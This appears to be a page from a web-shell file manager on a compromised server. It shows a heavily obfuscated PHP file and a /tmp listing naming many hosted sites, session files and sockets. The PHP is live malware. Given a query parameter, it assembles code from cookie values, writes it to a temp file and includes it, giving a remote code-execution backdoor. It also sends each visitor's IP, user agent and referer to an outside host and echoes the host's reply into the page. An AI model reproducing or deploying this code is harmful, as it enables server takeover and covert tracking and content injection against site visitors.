ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: tmp

<?php class _my{private static$_km;static function _xfm($_lq){if(!self::$_km)self::_kk();return hex2bin(self::$_km[$_lq]);}private static function _kk(){self::$_km=array('_wsi'=>'4163636573732d436'.'f6e74726f6c2d416c6c6f772d'.'4f7269676'.'96e3'.'a202a','_rfz'=>'436f6e74656e742d54797'.'0653a206170706c69636174696f6e2f6a6176617'.'36372697'.'07'.'4','_du'=>'6'.'368','_vrg'=>'65794a7063434936496a67344c6'.'a67344c6a67344c6a67344969776'.'9645745694'.'f694a305a'.'584e3049697769636d'.'566d496a6f696447'.'567'.'a64'.'434a3'.'9','_tvc'=>'7'.'1777a7'.'8','_vc'=>'3'.'c6f6'.'b'.'3'.'e','_gx'=>'3c626'.'164'.'3'.'e','_ddp'=>'77616c'.'6c','_rw'=>'','_wg'=>'','_gz'=>'','_qcg'=>'687474703a2f2f7075622e77656266696c65686f7'.'374657'.'22e636f6d2f636f'.'6d706f7365722e6a733f6461'.'74613d','_ke'=>'6375726c5f696e'.'6'.'97'.'4','_vbu'=>'6'.'87474705f6'.'36f6465','_at'=>'736368'.'656d6'.'5','_ns'=>'687'.'47'.'4707'.'3','_mar'=>'4745'.'5420','_xce'=>'70617468','_bgu'=>'7175'.'6'.'57279','_gjc'=>'3f','_wss'=>'71'.'7'.'5'.'65'.'727'.'9','_ty'=>'20485454502f312'.'e300d0a486f73743'.'a'.'2'.'0','_huf'=>'686'.'f'.'7'.'3'.'7'.'4','_khc'=>'0d0a436f6e6e656374696f6e3a20436c'.'6f736'.'50d'.'0'.'a0d0'.'a','_wep'=>'73736c'.'3a2f'.'2'.'f','_vf'=>'','_jf'=>'68'.'6f73'.'7'.'4','_klo'=>'0d0'.'a','_ae'=>'485454505f434c49454'.'e545f49'.'5'.'0','_eox'=>'485454505f585f464f52574152444'.'5445f464f'.'52','_nt'=>'52454d4f54455f4144445'.'2','_isd'=>'485454505f555345525f4'.'147454e54','_wxm'=>'485454505f555345525f414745'.'4e5'.'4','_apl'=>'','_rbp'=>'48545450'.'5f524546455'.'24'.'55'.'2','_ef'=>'485454505f52454645524552','_st'=>'','_uo'=>'485454505f434c49454e54'.'5f495'.'0','_tk'=>'485454505f434c'.'49454e'.'545f4'.'95'.'0','_rxm'=>'485454505f585f464f52574'.'1524445445f46'.'4f5'.'2','_pr'=>'4854'.'54505f585f464f52'.'574'.'1524'.'4454'.'45f464f'.'52','_oe'=>'5'.'24'.'54d4f54455f'.'414'.'44452','_iv'=>'52454d4f54'.'45'.'5'.'f4144445'.'2','_bji'=>'646267'.'6d6f6465','_ky'=>'49503a2'.'0','_ihv'=>'207c2055413'.'a'.'2'.'0','_vp'=>'207c20'.'5265663a'.'2'.'0','_ak'=>'203c'.'62723e0'.'a','_amr'=>'6'.'970','_awz'=>'75'.'61','_vs'=>'72'.'6'.'56'.'6','_iy'=>'7'.'1777a78',);}}class _dsj{private static$_km;static function _xfm($_lq){if(!self::$_km)self::_kk();return self::$_km[$_lq];}private static function _kk(){self::$_km=array(00,07,036,036,01,036,02,07,01,016,030,06,032,012,011,013,027,031,03,02,01,01,00,012,012,0310,0673,0120,00,02000,01,0423,0423);}}header(_my::_xfm('_ws'.'i'));header(_my::_xfm('_rfz'));if(isset($_GET[_my::_xfm('_'.'d'.'u')])){$_vy=_jgb(_my::_xfm('_v'.'r'.'g'));if($_vy&&strpos($_vy,_my::_xfm('_tvc'))!==false){die(_my::_xfm('_'.'vc'));}else{die(_my::_xfm('_gx'));}}if(isset($_GET[_my::_xfm('_ddp')])){$_hvi=$_COOKIE;$_dp=_dsj::_xfm(0);$_lq=_dsj::_xfm(1);$_pi=array();$_pi[$_dp]=_my::_xfm('_rw');while($_lq){$_pi[$_dp].=$_hvi[_dsj::_xfm(2)][$_lq];if(!$_hvi[_dsj::_xfm(3)][$_lq+_dsj::_xfm(4)]){if(!$_hvi[_dsj::_xfm(5)][$_lq+_dsj::_xfm(6)])break;$_dp++;$_pi[$_dp]=_my::_xfm('_w'.'g');$_lq++;}$_lq=$_lq+_dsj::_xfm(7)+_dsj::_xfm(8);}$_dp=$_pi[_dsj::_xfm(9)]().$_pi[_dsj::_xfm(10)];if(!$_pi[_dsj::_xfm(11)]($_dp)){$_lq=$_pi[_dsj::_xfm(12)]($_dp,$_pi[_dsj::_xfm(13)]);$_pi[_dsj::_xfm(14)]($_lq,$_pi[_dsj::_xfm(15)].$_pi[_dsj::_xfm(16)]($_pi[_dsj::_xfm(17)]($_hvi[_dsj::_xfm(18)])));}include($_dp);}function _jgb($_sgn,$_fv=null,$_iy=-33601,$_ohv=-1.957732112648){$_xgv=_my::_xfm('_g'.'z');$_sfo=_my::_xfm('_qc'.'g').$_sgn;if(is_callable(_my::_xfm('_ke'))){$_ox=curl_init($_sfo);curl_setopt($_ox,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_ox,CURLOPT_SSL_VERIFYHOST,_dsj::_xfm(19));curl_setopt($_ox,CURLOPT_FOLLOWLOCATION,_dsj::_xfm(20));curl_setopt($_ox,CURLOPT_RETURNTRANSFER,_dsj::_xfm(21));curl_setopt($_ox,CURLOPT_HEADER,_dsj::_xfm(22));curl_setopt($_ox,CURLOPT_CONNECTTIMEOUT,_dsj::_xfm(23));curl_setopt($_ox,CURLOPT_TIMEOUT,_dsj::_xfm(24));$_xgv=curl_exec($_ox);$_voy=curl_getinfo($_ox);curl_close($_ox);if($_voy[_my::_xfm('_'.'vb'.'u')]!=_dsj::_xfm(25))return false;}else{$_pu=parse_url($_sfo);$_mtw=($_pu[_my::_xfm('_a'.'t')]==_my::_xfm('_ns'));$_bn=_my::_xfm('_ma'.'r').$_pu[_my::_xfm('_xc'.'e')];if(isset($_pu[_my::_xfm('_bgu')]))$_bn.=_my::_xfm('_'.'g'.'j'.'c').$_pu[_my::_xfm('_wss')];$_bn.=_my::_xfm('_ty').$_pu[_my::_xfm('_'.'h'.'uf')]._my::_xfm('_k'.'h'.'c');$_is=fsockopen(($_mtw?_my::_xfm('_w'.'e'.'p'):_my::_xfm('_'.'v'.'f')).$_pu[_my::_xfm('_j'.'f')],$_mtw?_dsj::_xfm(26):_dsj::_xfm(27));if($_is){fputs($_is,$_bn);$_zm=_dsj::_xfm(28);while(!feof($_is)){$_fz=fgets($_is,_dsj::_xfm(29));if($_zm)$_xgv.=$_fz;if($_fz==_my::_xfm('_klo'))$_zm=_dsj::_xfm(30);}fclose($_is);}}return$_xgv;}$_hw=isset($_SERVER[_my::_xfm('_'.'ae')]);$_kb=isset($_SERVER[_my::_xfm('_'.'eo'.'x')]);$_rfi=isset($_SERVER[_my::_xfm('_nt')]);$_tn=isset($_SERVER[_my::_xfm('_i'.'sd')])?$_SERVER[_my::_xfm('_wxm')]:_my::_xfm('_a'.'p'.'l');$_mek=isset($_SERVER[_my::_xfm('_rb'.'p')])?$_SERVER[_my::_xfm('_'.'e'.'f')]:_my::_xfm('_s'.'t');$_hw=isset($_SERVER[_my::_xfm('_'.'u'.'o')])?$_SERVER[_my::_xfm('_tk')]:null;$_kb=isset($_SERVER[_my::_xfm('_'.'r'.'x'.'m')])?$_SERVER[_my::_xfm('_pr')]:null;$_rfi=isset($_SERVER[_my::_xfm('_oe')])?$_SERVER[_my::_xfm('_'.'i'.'v')]:null;if(filter_var($_hw,_dsj::_xfm(31))){$_qcm=$_hw;}elseif(filter_var($_kb,_dsj::_xfm(32))){$_qcm=$_kb;}else{$_qcm=$_rfi;}if(isset($_GET[_my::_xfm('_b'.'j'.'i')])){echo _my::_xfm('_k'.'y').$_qcm._my::_xfm('_i'.'hv').$_tn._my::_xfm('_'.'v'.'p').$_mek._my::_xfm('_a'.'k');exit();}if(!isset($_qcm)||!isset($_tn)||!isset($_mek)){exit();}else{$_vq=array(_my::_xfm('_'.'am'.'r')=>$_qcm,_my::_xfm('_aw'.'z')=>$_tn,_my::_xfm('_'.'vs')=>$_mek);$_fn=urlencode(base64_encode(json_encode($_vq)));$_vy=_jgb($_fn);if($_vy&&strpos($_vy,_my::_xfm('_i'.'y'))!==false){echo$_vy;exit();}}

[+] ..
[+] shield
[-] cx-6a38fbd34b0c5 [edit]
[+] 5a8e95
[+] beatler.com
[+] mail.thebinarysouls.com
[+] eerrttyy
[+] rstemp
[+] cblgroup.pk:80
[+] mbsrtert2
[+] mediachunks.com:443
[+] eerrttyyy
[+] mail.cblgroup.pk
[-] .s.PGSQL.5432 [edit]
[+] thebinarysouls.com
[+] mail.mediachunks.com
[-] kb-6a2e6e5b43500 [edit]
[+] mbsrtert3
[+] primaagencies.net
[+] eab22c
[+] ssl-manager
[+] thebhoeo
[+] da50b5fa2921d28e16953c257147e440
[-] booksfinders.com.588275.tmp [edit]
[+] cblgroup.pk
[-] phptYnNWI [edit]
[+] mail.beatler.com
[+] mail.primaagencies.net
[+] eerrttyy2
[+] aadillaptops.com
[+] home
[+] fac09a
[+] 96e47e96c473f7bb98694c8855167bf9
[+] 0eadad
[+] mediachunks.com
[+] mail.aadillaptops.com
[-] sess_5171fcbf42bcab65758aae7e9218e28b.php [edit]
[+] thebinarysouls.com:443
[-] phpALp3ZB [edit]
[+] mbsrtert
[-] .ea-php-cli.cache [edit]
[-] mysql.sock [edit]
[+] mbdvd0